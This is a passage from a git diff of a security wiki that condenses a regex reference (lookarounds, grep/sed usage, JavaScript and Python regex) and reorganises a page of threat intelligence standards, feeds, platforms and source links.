the character or grouping which is repeated.\ -◇ **`*`** – Zero or more repetitions of the previous character or grouping.\ -◇ **`+`** – One or more repetitions.\ -◇ **`{m}`** – ‘m’ repetitions.\ -◇ **`{m,n}`** – Between ‘m’ and ‘n’ (inclusive) repetitions.\ -Repetitions can provide a level of optionality to your search pattern. For example, in the search pattern **`.*abc`**, the user does not care which characters, if any, appear before the string `abc`. +```text +^abc\b.*123$ +``` -### Logical operators +This matches a line that starts with `abc` as a whole word and ends with `123`. -Logical operators enable the AND, OR, and NOT logic functions within a search pattern. +### Captures -* NOT - * The caret **`^`** can denote a NOT logic function within a set or POSIX character class. Not to be confused with the use of the caret as an anchor, it is used as follows: - * **`[^abc]`** or **`[^[:alnum:]]`** - * These would match any character except `a`, `b`, or `c`, or any character which is non-alphanumeric respectively. -* OR - * The pipe **`|`** denotes an OR logic function and is used within parentheses. Parentheses containing an OR pipe still define a capture group. - * **`(abc|def)`** matches and captures `abc` or `def`. - * The **`?`** question mark denotes optionality of the previous token.\ - **`files?`** matches `file` or `files`. -* AND - * While the AND logic function is inherent in regex for sequential characters in a search pattern, there are cases where you may want to match a string which contains both one pattern and another. - * This can be easily done by chaining multiple commands in sed, awk, or grep. However, many regex engines, including the Perl regex engine used by grep, introduce the **`(?=)`** positive lookahead so that you can perform the same task in a single command. - * The positive lookahead matches the regex pattern before the opening parentheses if the pattern before is followed by the characters within the parentheses. For example, **`He(?=llo)`** would match the `He` in `Hello` but not in `Hey`. - * By placing the lookahead at the start of your search pattern and using the **`.*`** wildcard within the lookahead, you tell the regex engine to match any line which contains zero or more repetitions of any characters followed by the remaining characters within the lookahead. - * You can see for yourself that the following two commands produce the same result.\ - ▪ `grep -P "[pP]" Countries.txt | grep -P “[cC]”`\ - ▪ `grep -P "(?=.*[pP])(?=.*[cC])" Countries.txt` +Parentheses capture part of a matched pattern. Captures are useful for extraction and replacement. -### Captures +```bash +sed -rn 's/.*(capture).*/\1/p' file_name.txt +``` -Parentheses can be used in regular expressions to capture part of a matched pattern. This can then be used for a range of purposes, including 'Find and Replace' functions. While true regex captures require more complicated syntax within the grep and awk commands, they can be written in sed using the following format:\ -`sed -rn ‘s/.*(capture).*/\1/p' file_name.txt`\ -This command replaces the entirety of the matched string with the string inside the capturing parentheses.\ -In grep, an additional `-o` flag can be passed to only output the exactly matched text so that a carefully constructed regex can be used to create an equivalent output to a regex capture. When doing this, it is often necessary to use anchors or specifically exclude the characters which surround the desired region. +In `grep`, `-o` prints only the matched portion: -### Anchors +```bash +grep -Po 'user=\K[^ ]+' auth.log +``` + +### Lookarounds + +Lookarounds are zero-width assertions. They match based on surrounding text without consuming that text. + +| Pattern | Meaning | +| --- | --- | +| `(?=regex)` | Positive lookahead | +| `(?!regex)` | Negative lookahead | +| `(?<=regex)` | Positive lookbehind | +| `(? output-file +``` + +### sed + +```bash +sed -rn '/regex-pattern/p' input-file +``` + +### rg + +```bash +rg "regex-pattern" +``` + +* [ripgrep](https://github.com/BurntSushi/ripgrep) is a fast line-oriented search tool that recursively searches directories. ## Regex in Java -* [https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html](https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html) +* [Java Pattern Class](https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/regex/Pattern.html) ## Regex in JavaScript -\ -In JavaScript, regexes can be created either by calling the constructor function of the RegExp object, or by using a regex literal, as follows: +JavaScript regexes can be created with a literal or the `RegExp` constructor. -* Constructor function - * `var my_regex_variable = new RegExp(/my_regex_pattern/flags);` -* Regex literal - * `var my_regex_variable = /my_regex_pattern/flags;` -* Flags can be passed to the regex for additional functionality, affecting how and what the regex matches in a string. Below are some examples: - * g – Global search, so the method using the regex will act on all matches within the string, not just the first match. - * i – Case-insensitive search. - * m – Multi-line search; by default regexes separate strings by line breaks. - * s – The dot **`.`** wildcard matches newline characters; it does not match these by default. -* For example, `var my_regex = /`**`abc`**`/gi;` will look for all instances of the string ‘abc’ and be case-insensitive, so will also match ‘aBc’. -* To use a regex in JavaScript, it must be paired with a method which supports regular expressions. The `match()`, `replace()`, or `search()` methods can be called on a String object. Alternatively, the `test()` or `exec()` methods can be called on a RegExp object. +```javascript +const literal = /my_regex_pattern/gi; +const constructed = new RegExp("my_regex_pattern", "gi"); +``` -| Method | Action | -| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| match() | Returns either an array of the first match, the captured substring, the index and the input, or, if it is told to match globally, an array of all matches in the string. | -| replace() | Searches for a match and replaces the matched substring with a replacement substring. You can use $n to refer to the nth capture group in the regex. | -| search() | Returns the index of the first match found or determines that no match exists. | -| test() | Returns true or false for if a match exists. | -| exec() | Returns an array including the first match, the captured substring, the index of the match and the input. | +Common flags: -For example, the JavaScript code in the panel below will assign the index of the matched substring, ‘2’, to the `my_index` variable. +| Flag | Meaning | +| --- | --- | +| `g` | Global search | +| `i` | Case-insensitive search | +| `m` | Multi-line search | +| `s` | Dot matches newline | -View and execute the 'regex\_methods.js' script to see how these methods function. +Common methods: -`var my_index = “abracadabra”.search(/Ra/gi);` +| Method | Action | +| --- | --- | +| `match()` | Returns matches from a string | +| `replace()` | Replaces matching text | +| `search()` | Returns the index of the first match | +| `test()` | Returns true or false for whether a match exists | +| `exec()` | Returns match details from a regex object | + +Example: + +```javascript +const myIndex = "abracadabra".search(/ra/gi); +``` ## Regex in Python -\ -◇ Python has a built-in module called 're' which must be imported in the script and can be used to work with Perl-based regex.\ -◇ Unlike in JavaScript, regexes in Python are not created as objects but given as an argument to functions of the 're' module. +Python's built-in `re` module supports regular expressions. -| Function | Action | -| --------- | -------------------------------------------------------------------- | -| findall() | Returns a list containing all matches. | -| search() | Returns a ‘Match’ object if there is a match anywhere in the string. | -| split() | Returns a list where the string has been split at each match. | -| sub() | Replaces one or many matches within a string. | +```python +import re -◇ A regex pattern can be specified as an argument to the functions using the syntax `r'`**`pattern`**`'`, or alternatively, a simple string can be used.\ -◇ For example, the Python code in the panel below will assign the list of split substrings, `['one: ‘, ’two: ‘, ’three: ‘, ’']`, to the `my_list` variable.\ -◇ View and execute the 're\_functions.py' script to see how these functions work.\ -▪ `my_list = re.split(r'\d', “one: 1 two: 2 three: 3”)` +my_list = re.split(r"\d", "one: 1 two: 2 three: 3") +``` -### Lookarounds +Common functions: -Lookarounds are regex assertions which match characters in a string based on the surrounding characters. There are four kinds:\ -**`(?=regex)`** Positive lookahead\ -**`(?!regex)`** Negative lookahead\ -**`(?<=regex)`** Positive lookbehind\ -**`(?) - diff --git a/cyber-intelligence/intel-feeds-and-sources.md b/cyber-intelligence/intel-feeds-and-sources.md index 8fab830..1b8532e 100644 --- a/cyber-intelligence/intel-feeds-and-sources.md +++ b/cyber-intelligence/intel-feeds-and-sources.md @@ -1,370 +1,258 @@ # Intel Feeds and Sources -## **Intelligence Lifecycle: Understanding depreciation and priority.** +Use this page for cyber threat intelligence feeds, standards, sharing platforms, source collections, and research sources. Indicator reputation and enrichment lookups live in Threat Data; sandboxing and malware behavior analysis live in DFIR. -Before we go into the plethora of intelligence sources available, we need to understand a few things about the value of intelligence and its temporal nature. +## Intelligence Lifecycle: Deprecation and Priority -The first thing we should understand is that not all indicators are created equal, and that they should have a priority or a weighting associated with them. Some indicators will naturally have a stronger indication of the presence of an attack than others. Consider comparing the hash of a known piece of malware, versus an IP address of an known malicious scanner. The detection of the former demonstrates the presence of a known malicious object, and an action that is farther in any attack chain. The detecting the latter does not mean that malicious intent was detected, simple interaction with an indicator that COULD do something malicious. More data would be needed here to confirm if there is an attack or not. So, those two indicators would have different priorities based on the fidelity of the indicator, the amount of other data/correlation needed to confirm an attack, and the phase of an attack chain indicated by the indicator. +Not all indicators are equal. A malware hash tied to a confirmed intrusion usually carries more evidentiary weight than an IP address observed scanning the internet. Indicator priority depends on fidelity, corroborating context, and where the indicator sits in the attack chain. -The second thing we must understand is the time element associated with an indicator. Indicators fidelity and priority depreciate overtime. The farther we get from both the initial date of reporting as well as as the last time the indicator was seen by any form of detection, the lower the chance that the indicator is still valid. As above, this is especially so with indicators that can change frequently like IP addresses. Indicators like hash values are so unique, they still mostly valid after a long period of time. +Indicators also decay. IP addresses, domains, and infrastructure relationships can change quickly; hashes and well-described behaviors usually age better. When using feed data, track first-seen time, last-seen time, source reliability, and whether the indicator still matches current adversary behavior. -{% embed url="https://www.youtube.com/watch?v=J7e74QLVxCk" %} - -## **Indicator Standards and Formats** - -* ****[**Oasis**](https://www.oasis-open.org/) **Suite -** Oasis is a non-profit standardization organization that manages the [standards](https://www.oasis-open.org/committees/tc\_home.php?wg\_abbrev=cti) for multiple intelligence feed formats. - * ****[**STIX**](https://stixproject.github.io/) **** - Structured Threat Information Expression (STIX™) is a language and serialization format used to exchange cyber threat intelligence (CTI). STIX enables organizations to share CTI with one another in a consistent and machine readable manner, allowing security communities to better understand what computer-based attacks they are most likely to see and to anticipate and/or respond to those attacks faster and more effectively. - * [https://oasis-open.github.io/cti-documentation/stix/intro](https://oasis-open.github.io/cti-documentation/stix/intro) - * ****[**CyBOX**](https://cyboxproject.github.io/) **-** An older standard that has been subsequently absorbed into the STIX standard. - * ****[**TAXII**](https://taxiiproject.github.io/) **-** Trusted Automated Exchange of Intelligence Information (TAXII™) is an application layer protocol for the communication of cyber threat information in a simple and scalable manner. TAXII is a protocol used to exchange cyber threat intelligence (CTI) over HTTPS. TAXII enables organizations to share CTI by defining an API that aligns with common sharing models.TAXII is specifically designed to support the exchange of CTI represented in STIX. - * [https://oasis-open.github.io/cti-documentation/taxii/intro](https://oasis-open.github.io/cti-documentation/taxii/intro) - -## **Daily Checkers/Round-ups** - -Parsing through intel sources is a daily task for an intelligence analyst. To make things easier than having 100+ tabs open for every source, we can use RSS feeds to centralize all of the articles into one place. [Feedly](https://feedly.com) is my RSS feed platform of choice. The free option allows you to ingest 100+ sources all in one feed. It even has a preset collection of feeds focusing on cyber security. One thing that these feeds cannot do is bring in items like tweets and Reddit posts. For those, we can turn to a handy tool written by Hackerpom. His [intel feed tool ](https://www.hackerpom.com/feed)adds some of the top intel sources to a list of relevant tweets and reddit posts. - -Beyond the daily checkers, regular parsing of "Round-up" style blogs are super handy for condensing some of the popular topics and can grab a few interesting notes that other tools do not. - -* [https://blog.badsectorlabs.com/](https://blog.badsectorlabs.com/) -* [https://sec.today/pulses/](https://sec.today/pulses/) -* [https://thisweekin4n6.com/](https://thisweekin4n6.com/) -* [https://latesthackingnews.com/](https://latesthackingnews.com/) -* [https://security-soup.net/tag/news/](https://security-soup.net/tag/news/)a - -## Intelligence Tools and Resources - -
- -Intel Resource Collections - -* [Awesome Lists Collection: Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) -* [Awesome Lists Collection: IOCs](https://github.com/sroberts/awesome-iocs) -* [Awesome Lists Collection: Security Feeds](https://github.com/mrtouch93/awesome-security-feed) - -
- -### Indicator Gathering and Enrichment Tools - -These are tools for collecting, enriching, and shareing threat indicators. Most are open source and focus on indicator sharing within the cyber community and flexibility to work with a wide array of tools that might use the data. - -
- -Indicator Gathering and Enrichment Tools - -* [NSA's Unfetter Project - ](https://nsacyber.github.io/unfetter/)Discover and analyze gaps in your security posture. -* [CSIRTGadget's CIF: Collective Intelligence Framework](https://csirtgadgets.com/collective-intelligence-framework) - Pulls feeds from multiple locations and makes them available for other systems to use for lookup or enrichment. -* [Yeti](https://github.com/yeti-platform/yeti) - Yeti is a platform meant to organize observables, indicators of compromise, TTPs, and knowledge on threats in a single, unified repository. -* [IntelOWL](https://github.com/intelowlproject/IntelOwl) - Intel Owl is an Open Source Intelligence, or OSINT solution to get threat intelligence data about a specific file, an IP or a domain from a single API at scale. -* [S-TIP](https://github.com/s-tip) - S-TIP is a threat intelligence platform to bring down barriers among separate practices of CTI sharing. -* [OpenCTI](https://github.com/OpenCTI-Platform/opencti) - OpenCTI is an open source platform allowing organizations to manage their cyber threat intelligence knowledge and observables -* [Harpoon](https://github.com/Te-k/harpoon) - OSINT / Threat Intel CLI tool. -* [Threat Dragon](https://github.com/mike-goodwin/owasp-threat-dragon-desktop) - Threat Dragon is a free, open-source, cross-platform [threat modeling](https://owasp.org/www-community/Threat\_Modeling) application including system diagramming and a rule engine to auto-generate threats/mitigations. -* [IoC Ingester ](https://github.com/ninoseki/iocingestor)- An extendable tool to extract and aggregate IoCs from threat feeds. -* [IoC Parser](https://github.com/armbues/ioc\_parser) - IOC Parser is a tool to extract indicators of compromise from security reports in PDF format -* [cti](https://github.com/mitre/cti) - Cyber Threat Intelligence Repository expressed in STIX 2.0 -* [TALR](https://github.com/SecurityRiskAdvisors/TALR) - A public repository for the collection and sharing of detection rules in STIX format. -* [github.com/crits/crits](https://github.com/crits/crits) - CRITs - Collaborative Research Into Threats +## Threat Intelligence Frameworks -
+* [MITRE ATT&CK](https://attack.mitre.org/) - Knowledge base of adversary tactics and techniques. +* [Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) - Lockheed Martin's seven-stage model for attack progression. +* [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) - Intrusion analysis model built around adversary, capability, infrastructure, and victim. -### MISP - -[**MISP**](https://www.misp-project.org/)**:** The Malware Information Sharing Platform - The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators. This tool has the ability to ingest a large number of indicator feeds, enrich indicators, and funnel them into other platforms. It comes with a large array of feeds that come default in the platform, all of which have a high degree of fidelity. Best of all, it comes with modules that allow it to integrate with a slew of other platforms and technologies. - -
- - - -* MISP Github - [https://github.com/MISP/MISP](https://github.com/MISP/MISP) -* MISP Modules - [https://github.com/MISP/misp-modules](https://github.com/MISP/misp-modules) -* MISP Splunk App - [https://splunkbase.splunk.com/app/4335/](https://splunkbase.splunk.com/app/4335/) -* CIRC/LU User Guide - [https://www.circl.lu/doc/misp/book.pdf](https://www.circl.lu/doc/misp/book.pdf) -* [https://www.recordedfuture.com/misp-integration-overview/](https://www.recordedfuture.com/misp-integration-overview/) -* [https://www.circl.lu/assets/files/infosharing.pdf](https://www.circl.lu/assets/files/infosharing.pdf) -* [https://www.sans.org/webcasts/sharing-alerts-threat-intelligence-misp-110000](https://www.sans.org/webcasts/sharing-alerts-threat-intelligence-misp-110000) -* [https://www.sans.org/webcasts/friend-creating-threat-intelligence-capability-103532](https://www.sans.org/webcasts/friend-creating-threat-intelligence-capability-103532) - -
- -{% embed url="https://www.youtube.com/watch?app=desktop&v=00jq7Gbqdz8" %} - -## Intelligence Sources - -
- -Government Feeds - -* FBI Infragaurd - [https://www.infragard.org/](https://www.infragard.org/) -* CISA - * Current Activity - [https://www.cisa.gov/uscert/ncas/current-activity](https://www.cisa.gov/uscert/ncas/current-activity) - * Alerts - [https://www.cisa.gov/uscert/ncas/alerts](https://www.cisa.gov/uscert/ncas/alerts) - * Vulnerability Bulletins - [https://www.cisa.gov/uscert/ncas/bulletins](https://www.cisa.gov/uscert/ncas/bulletins) - * Analysis Reports- [https://www.cisa.gov/uscert/ncas/analysis-reports](https://www.cisa.gov/uscert/ncas/analysis-reports) - * Automated Indicator Sharing (AIS) TAXII 2.1 API Capability (free/ registration required)- [https://www.cisa.gov/ais](https://www.cisa.gov/ais) - * CISA RSS Feeds- [https://www.cisa.gov/uscert/mailing-lists-and-feeds](https://www.cisa.gov/uscert/mailing-lists-and-feeds) -* IC3 News Releases -[https://www.ic3.gov/](https://www.ic3.gov/) -* Various ISAC - Find an ISAC in your sector - [https://www.nationalisacs.org/member-isacs-3](https://www.nationalisacs.org/member-isacs-3) - -
- -
- -Intel Platforms - -* IBM X-Force - [https://exchange.xforce.ibmcloud.com/](https://exchange.xforce.ibmcloud.com/) -* ThreatConnect - [https://app.threatconnect.com/auth/index.xhtml#/](https://app.threatconnect.com/auth/index.xhtml#/) -* AlienVault - [https://otx.alienvault.com/browse/global?q=\&include\_inactive=0\&sort=-modified\&page=1\&indicatorsSearch=modified:%22%22](https://otx.alienvault.com/browse/global?q=\&include\_inactive=0\&sort=-modified\&page=1\&indicatorsSearch=modified:%22%22) - -
- -
+{% embed url="https://www.youtube.com/watch?v=J7e74QLVxCk" %} -Cyber News - -* Threat Post - [https://threatpost.com/](https://threatpost.com/) -* PacketStorm -[https://packetstormsecurity.com/](https://packetstormsecurity.com/) -* Hacker News - [https://thehackernews.com/](https://thehackernews.com/) -* Zero Day - [https://www.zdnet.com/blog/security/](https://www.zdnet.com/blog/security/) -* Bleeping Computer -[https://www.bleepingcomputer.com/news/security/](https://www.bleepingcomputer.com/news/security/) -* Dark Reading - [https://www.darkreading.com/](https://www.darkreading.com/) -* Cyber Scoop -[https://www.cyberscoop.com/](https://www.cyberscoop.com/) -* Security Week -[https://www.securityweek.com/](https://www.securityweek.com/) -* Gizmodo: Security - [https://gizmodo.com/tag/security](https://gizmodo.com/tag/security) -* The Register: Security -[https://www.theregister.com/security/](https://www.theregister.com/security/) -* ITSec Guru - [https://www.itsecurityguru.org/](https://www.itsecurityguru.org/) -* Hackaday - [https://hackaday.com/category/security-hacks/](https://hackaday.com/category/security-hacks/) -* Cyber Talk - [https://www.cybertalk.org/](https://www.cybertalk.org/) -* Hackbusters -[https://hackbusters.com/](https://hackbusters.com/) -* Data Breaches -[https://www.databreaches.net/category/breach-reports/us/](https://www.databreaches.net/category/breach-reports/us/) -* CSO Online -[https://www.csoonline.com/](https://www.csoonline.com/) -* Null-Byte -[https://null-byte.wonderhowto.com/](https://null-byte.wonderhowto.com/) -* Security News Wire - [https://securitynewswire.com/index.php/Home](https://securitynewswire.com/index.php/Home) -* Ars Technica: Security - [https://arstechnica.com/tag/security/](https://arstechnica.com/tag/security/) - -
- -
- -Vulnerability Disclosure - -* NIST -[https://nvd.nist.gov/vuln/search](https://nvd.nist.gov/vuln/search) -* Full Disclosure -[https://seclists.org/fulldisclosure/](https://seclists.org/fulldisclosure/) -* PacketStorm Vuls and Exploits - [https://packetstormsecurity.com/files/tags/exploit/](https://packetstormsecurity.com/files/tags/exploit/) -* Exploit DB -[https://www.exploit-db.com/](https://www.exploit-db.com/) -* CX Security - [https://cxsecurity.com/](https://cxsecurity.com/) -* Japan Vul Notes -[https://jvn.jp/en/](https://jvn.jp/en/) -* VulDB - [https://vuldb.com/](https://vuldb.com/) -* vFeed -[https://vfeed.io/](https://vfeed.io/) - -
- -
- -Threat Research Group Blogs - -* FireEye - [https://www.fireeye.com/blog/threat-research.html](https://www.fireeye.com/blog/threat-research.html) -* Sophos -[https://news.sophos.com/en-us/](https://news.sophos.com/en-us/) -* SecureList - [https://securelist.com/](https://securelist.com/) -* MalwareBytes Blog -[https://blog.malwarebytes.com/](https://blog.malwarebytes.com/) -* Google Project Zero - [https://googleprojectzero.blogspot.com/](https://googleprojectzero.blogspot.com/) -* ClearSky Blog - [https://www.clearskysec.com/blog/](https://www.clearskysec.com/blog/) -* CheckPoint Research - [https://research.checkpoint.com/](https://research.checkpoint.com/) -* Cisco Talos Research - [https://blogs.cisco.com/security/talos](https://blogs.cisco.com/security/talos) -* Cisco Talos Blog -[https://blog.talosintelligence.com/](https://blog.talosintelligence.com/) -* Fortigaurd ThreatBrief - [https://www.fortiguard.com/resources/threat-brief](https://www.fortiguard.com/resources/threat-brief) -* Unit42 - [https://unit42.paloaltonetworks.com/](https://unit42.paloaltonetworks.com/)\\ -* TrendMicro Research - [https://www.trendmicro.com/en\_us/research.html](https://www.trendmicro.com/en\_us/research.html) -* Malware-Traffic-Analysis - [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net/) -* CrowdStike Intel -[https://www.crowdstrike.com/blog/category/threat-intel-research/](https://www.crowdstrike.com/blog/category/threat-intel-research/) -* JP Cert - [https://blogs.jpcert.or.jp/en/](https://blogs.jpcert.or.jp/en/) -* Sans ISC Diary - [https://isc.sans.edu/diaryarchive.html?year=2021\&month=1](https://isc.sans.edu/diaryarchive.html?year=2021\&month=1) -* Cryptolaemus - [https://paste.cryptolaemus.com/](https://paste.cryptolaemus.com/) -* Uptycs - [https://www.uptycs.com/blog/tag/threat-research](https://www.uptycs.com/blog/tag/threat-research) - -
- -
- -Solo Researcher Blogs - -* Krebs on Security - [https://krebsonsecurity.com/](https://krebsonsecurity.com/) -* Schnier on Security - [https://www.schneier.com/](https://www.schneier.com/) -* Eric Conrad -[https://www.ericconrad.com/](https://www.ericconrad.com/) -* Daniel Miessler - [https://danielmiessler.com/blog/](https://danielmiessler.com/blog/) -* RedTimmy - [https://www.redtimmy.com/blog/](https://www.redtimmy.com/blog/) -* BC Sec - [http://bc-security.org/blog](http://bc-security.org/blog) -* Rastamouse - [http://rastamouse.me/](http://rastamouse.me/) -* Hakluke -[https://medium.com/@hakluke](https://medium.com/@hakluke) -* Hausec - [https://hausec.com/](https://hausec.com/) -* Pentesting Labs -[https://pentestlab.blog/](https://pentestlab.blog/) -* Intel Techniques Blog - [https://inteltechniques.com/blog/](https://inteltechniques.com/blog/) -* Jack Whitton - [https://whitton.io/](https://whitton.io/) -* hacks4pancakes -[https://tisiphone.net/](https://tisiphone.net/) -* Tao Security -[https://taosecurity.blogspot.com/](https://taosecurity.blogspot.com/) -* Troy Hunt - [https://www.troyhunt.com/](https://www.troyhunt.com/)\ - ZeroSec - [https://blog.zsec.uk/](https://blog.zsec.uk/) -* Graham Cluely - [https://grahamcluley.com/](https://grahamcluley.com/) - -
- -
- -Corporate Security Blogs - -* TrendMicro - [https://blog.trendmicro.com/](https://blog.trendmicro.com/) -* Microsoft - [https://msrc-blog.microsoft.com/](https://msrc-blog.microsoft.com/) -* DomainTools -[https://www.domaintools.com/resources/blog?category=domaintools-research\&authors=](https://www.domaintools.com/resources/blog?category=domaintools-research\&authors=) -* ProofPoint - [https://www.proofpoint.com/us/blog](https://www.proofpoint.com/us/blog) -* Zscalar - [https://www.zscaler.com/blogs/security-research](https://www.zscaler.com/blogs/security-research) -* SecureWorks - [https://www.secureworks.com/blog](https://www.secureworks.com/blog) -* Digital Shadows - [https://www.digitalshadows.com/blog-and-research/](https://www.digitalshadows.com/blog-and-research/) -* Recorded Future - [https://www.recordedfuture.com/blog/](https://www.recordedfuture.com/blog/) -* Hiemdall Sec - [https://heimdalsecurity.com/blog/posts/](https://heimdalsecurity.com/blog/posts/) -* Morphisec - [https://blog.morphisec.com/](https://blog.morphisec.com/) -* Imperva - [https://www.imperva.com/blog/](https://www.imperva.com/blog/) -* Tenable - [https://www.tenable.com/blog](https://www.tenable.com/blog)\ - PhishLabs - [https://info.phishlabs.com/blog](https://info.phishlabs.com/blog) -* Google Blog - [https://security.googleblog.com/](https://security.googleblog.com/) -* Cofense - [https://cofense.com/blog/](https://cofense.com/blog/) -* Fortinet -[https://www.fortinet.com/blog](https://www.fortinet.com/blog) -* SpectreOps - [https://posts.specterops.io/?gi=c476d247e3c8](https://posts.specterops.io/?gi=c476d247e3c8) -* VirusBulliten - [https://www.virusbulletin.com/blog/](https://www.virusbulletin.com/blog/) -* Anomali - [https://www.anomali.com/blog](https://www.anomali.com/blog) -* Intezer - [https://www.intezer.com/blog/](https://www.intezer.com/blog/) -* Verisign - [https://blog.verisign.com/](https://blog.verisign.com/) -* Virustotal - [https://blog.virustotal.com/](https://blog.virustotal.com/) -* WeLiveSecurity - [https://www.welivesecurity.com/research/](https://www.welivesecurity.com/research/) -* TrustedSec - [https://www.trustedsec.com/blog/](https://www.trustedsec.com/blog/) -* Symantec - [https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence) -* Avast - [https://blog.avast.com/topic/security-news](https://blog.avast.com/topic/security-news) -* TrustWave -[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/) -* ReversingLabs -[https://blog.reversinglabs.com/blog](https://blog.reversinglabs.com/blog) -* Rapid7 - [https://blog.rapid7.com/tag/research/](https://blog.rapid7.com/tag/research/) -* Security Trails - [https://securitytrails.com/blog](https://securitytrails.com/blog) -* Advanced Intel - [https://www.advanced-intel.com/blog](https://www.advanced-intel.com/blog) -* Scythe - [https://www.scythe.io/threatthursday](https://www.scythe.io/threatthursday) -* McAfee - [https://www.mcafee.com/blogs/](https://www.mcafee.com/blogs/) - -
- -
- -New Cyber Tool Blogs - -* [https://www.darknet.org.uk/](https://www.darknet.org.uk/) -* [https://www.toolswatch.org/](https://www.toolswatch.org/) -* [https://www.kitploit.com/](https://www.kitploit.com/) -* [https://packetstormsecurity.com/files/tags/tool/](https://packetstormsecurity.com/files/tags/tool/) -* [https://hakin9.org/blog-2/](https://hakin9.org/blog-2/) - -
- -**** +## Indicator Standards and Formats + +* [OASIS CTI Technical Committee](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti) - Standards body for STIX and TAXII. +* [STIX 2.x](https://oasis-open.github.io/cti-documentation/stix/intro) - Structured Threat Information Expression for machine-readable CTI. +* [TAXII 2.x](https://oasis-open.github.io/cti-documentation/taxii/intro) - API protocol for exchanging STIX threat intelligence. +* [OpenIOC](https://github.com/mandiant/OpenIOC_1.1) - Mandiant framework for sharing threat intelligence in a machine-digestible format. +* [CybOX](https://cyboxproject.github.io/) - Legacy cyber observable specification. CybOX concepts were folded into STIX 2.x observables. + +## Daily Checkers and Roundups + +* [Feedly](https://feedly.com/) - RSS reader with cybersecurity collections. +* [Hackerpom Intel Feed Tool](https://www.hackerpom.com/feed) - Aggregates security news, tweets, and Reddit sources. +* [Bad Sector Labs](https://blog.badsectorlabs.com/) +* [Security Soup](https://security-soup.net/tag/news/) +* [The Hacker News](https://thehackernews.com/) +* [BleepingComputer Security](https://www.bleepingcomputer.com/news/security/) +* [Dark Reading](https://www.darkreading.com/) +* [CyberScoop](https://www.cyberscoop.com/) +* [SecurityWeek](https://www.securityweek.com/) +* [The Register: Security](https://www.theregister.com/security/) +* [Ars Technica: Security](https://arstechnica.com/tag/security/) + +DFIR-specific news and case studies are preserved in the DFIR section. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +## CTI Resource Collections + +* [Awesome Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) +* [Awesome IOCs](https://github.com/sroberts/awesome-iocs) +* [Awesome Security Feeds](https://github.com/mrtouch93/awesome-security-feed) + +## Threat Intelligence Platforms and Tools + +* [MISP](https://www.misp-project.org/) - Open-source threat sharing platform for storing, correlating, enriching, and distributing indicators. + * [MISP GitHub](https://github.com/MISP/MISP) + * [MISP Modules](https://github.com/MISP/misp-modules) + * [MISP Splunk App](https://splunkbase.splunk.com/app/4335/) + * [MISP User Guide](https://www.circl.lu/doc/misp/book.pdf) +* [OpenCTI](https://github.com/OpenCTI-Platform/opencti) - Open-source CTI platform built around STIX 2.1 concepts. +* [Yeti](https://github.com/yeti-platform/yeti) - Platform for organizing observables, IOCs, TTPs, and threat knowledge. +* [IntelOwl](https://github.com/intelowlproject/IntelOwl) - Open-source analyzer and enrichment platform for files, IPs, domains, and other observables. +* [S-TIP](https://github.com/s-tip) - Threat intelligence platform focused on CTI sharing workflows. +* [TheHive](https://github.com/TheHive-Project/TheHive) - Incident response and case management platform that integrates with MISP and other CTI tools. +* [Cortex](https://github.com/TheHive-Project/Cortex) - Observable analysis and active response engine. +* [Harpoon](https://github.com/Te-k/harpoon) - OSINT and threat intelligence CLI. +* [IoC Ingester](https://github.com/ninoseki/iocingestor) - Extracts and aggregates IoCs from threat feeds. +* [Mihari](https://github.com/ninoseki/mihari) - Continuous OSINT-based indicator monitoring framework. +* [IoC Parser](https://github.com/armbues/ioc_parser) - Extracts indicators from security reports. +* [MITRE CTI](https://github.com/mitre/cti) - ATT&CK content expressed in STIX 2.0. +* [TALR](https://github.com/SecurityRiskAdvisors/TALR) - Detection rule sharing in STIX format. + +Threat Dragon is a threat modeling tool rather than a CTI feed platform, so it belongs with secure design and architecture references rather than this page. + +## Government, ISAC, and Sharing Sources + +* [InfraGard](https://www.infragard.org/) - FBI-affiliated public/private partnership. +* [CISA Cybersecurity Resources](https://www.cisa.gov/cybersecurity) +* [CISA Cybersecurity Advisories](https://www.cisa.gov/news-events/cybersecurity-advisories) +* [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) +* [CISA Vulnerability Bulletins](https://www.cisa.gov/news-events/bulletins) +* [CISA Analysis Reports](https://www.cisa.gov/news-events/analysis-reports) +* [CISA AIS](https://www.cisa.gov/topics/cyber-threats-and-advisories/information-sharing/automated-indicator-sharing-ais) - Automated Indicator Sharing. Treat as a historical or transition-sensitive source and verify the current program status before building new dependencies on it. +* [IC3](https://www.ic3.gov/) - FBI Internet Crime Complaint Center. +* [National Council of ISACs](https://www.nationalisacs.org/member-isacs-3) - Find sector-specific ISACs. + +## Intel Platforms + +* [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) +* [ThreatConnect](https://app.threatconnect.com/) +* [AlienVault OTX](https://otx.alienvault.com/) +* [Anomali](https://www.anomali.com/products) +* [ThreatQ](https://www.threatquotient.com/) + +Premium intelligence providers: + +* [CrowdStrike Falcon Intelligence](https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/) +* [Spamhaus Data Query Service](https://www.spamhaus.com/product/data-query-service/) +* [Intel 471](https://intel471.com/products/threat-intelligence/) +* [Intelligence X](https://intelx.io/) - Search engine and archival intelligence platform. +* [Team Cymru](https://team-cymru.com/) +* [CINS Score](https://cinsscore.com/#cins-ati) +* [ThreatSTOP](https://www.threatstop.com/threatstop-pricing) +* [VirusTotal Intelligence](https://www.virustotal.com/gui/intelligence-overview) +* 